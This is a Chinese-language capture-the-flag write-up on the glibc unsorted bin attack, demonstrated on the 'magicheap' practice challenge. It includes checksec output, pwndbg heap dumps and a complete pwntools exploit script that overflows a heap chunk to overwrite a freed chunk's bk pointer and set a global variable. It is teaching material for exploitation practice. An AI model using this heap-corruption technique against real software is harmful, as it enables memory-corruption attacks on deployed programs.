- 实现在任意地址写一个数值
- 局限性:通常unsortedbin attack只能够在目标地址写一个大数值
- unsortedbin attack通常是为了配合fastbin attack而使用的
下面用一个题来演示一下:https://buuoj.cn/challenges#hitcontraining_magicheap
参考ctfwiki
checksec:
[*] '/mnt/c/users/cnitl/desktop/buuctf/magicheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
64位动态链接开启了canary和nx保护
基本功能
程序大概就是自己写的堆管理器,主要有以下功能
- 创建堆。根据用户指定大小申请相应堆,并且读入指定长度的内容,但是并没有设置 NULL。
- 编辑堆。根据指定的索引判断对应堆是不是非空,如果非空,就根据用户读入的大小,来修改堆的内容,这里其实就出现了任意长度堆溢出的漏洞。
- 删除堆。根据指定的索引判断对应堆是不是非空,如果非空,就将对应堆释放并置为 NULL。
同时,我们看到,当我们控制 v3 为 4869,同时控制 magic 大于 4869,就可以得到 flag 了。
利用
很显然, 我们直接利用 unsorted bin attack 即可。
- 释放一个堆块到 unsorted bin 中。
- 利用堆溢出漏洞修改 unsorted bin 中对应堆块的 bk 指针为 &magic-16。
- 触发漏洞即可。
我们来看一下主要的过程
FIST STEP
create_heap(0x20, "dada") # 0
create_heap(0x80, "dada") # 1
create_heap(0x20, "dada") # 2
pwndbg> heap
0x603000 FASTBIN { <---idx0
prev_size = 0,
size = 33,
fd = 0x6161616161616161,
bk = 0xa,
fd_nextsize = 0x0,
bk_nextsize = 0x91
}
0x603020 PREV_INUSE { <----idx1
prev_size = 0,
size = 145,
fd = 0x6161616161616161,
bk = 0xa,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6030b0 FASTBIN { <----idx2
prev_size = 0,
size = 33,
fd = 0x6161616161616161,
bk = 0xa,
fd_nextsize = 0x0,
bk_nextsize = 0x20f31
}
0x6030d0 PREV_INUSE {
prev_size = 0,
size = 134961,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> x/32gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x6161616161616161 0x000000000000000a
0x603020: 0x0000000000000000 0x0000000000000091
0x603030: 0x6161616161616161 0x000000000000000a
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000021
0x6030c0: 0x6161616161616161 0x000000000000000a
0x6030d0: 0x0000000000000000 0x0000000000020f31
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
SECOND STEP:
del_heap(1)
new(0x80,"aaaa")
unsortedbin
all [corrupted]
FD: 0x603020 ◂— 0x0
BK: 0x603020 —▸ 0x602090 (stdin@@GLIBC_2.2.5) ◂— 0x0
此时可以很清楚的看到,bk指针已经被我们改成我们想要的地址了
然后我们查看一下那个地址的值
0x6020a0 <magic>: 0x0000000000000000 0x0000000000000000
发现还是为0
THIRD STEP:
接下来我们申请回来,此时值应该会变为main_arena+88处的值:
<magic>: 0x00007ffff7dd1b78 0x0000000000000000
发现已经成功的修改为一个大值,我们还发现此时0x6020a0-0x3处的值为:
pwndbg> x/32gx 0x602090-0x3
0x60208d: 0xfff7dd18e0000000 0x000000000000007f
通过这个我们便可以配合fastbin attack来获取shell
exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
r = process('./magicheap')
def create_heap(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def edit_heap(idx, size, content):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def del_heap(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
create_heap(0x20, "dada") # 0
create_heap(0x80, "dada") # 1
# in order not to merge into top chunk
create_heap(0x20, "dada") # 2
del_heap(1)
magic = 0x6020a0
fd = 0
bk = magic - 0x10
edit_heap(0, 0x20 + 0x20, "a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))
create_heap(0x80, "dada") #trigger unsorted bin attack
r.recvuntil(":")
r.sendline("4869")
r.interactive()
网友评论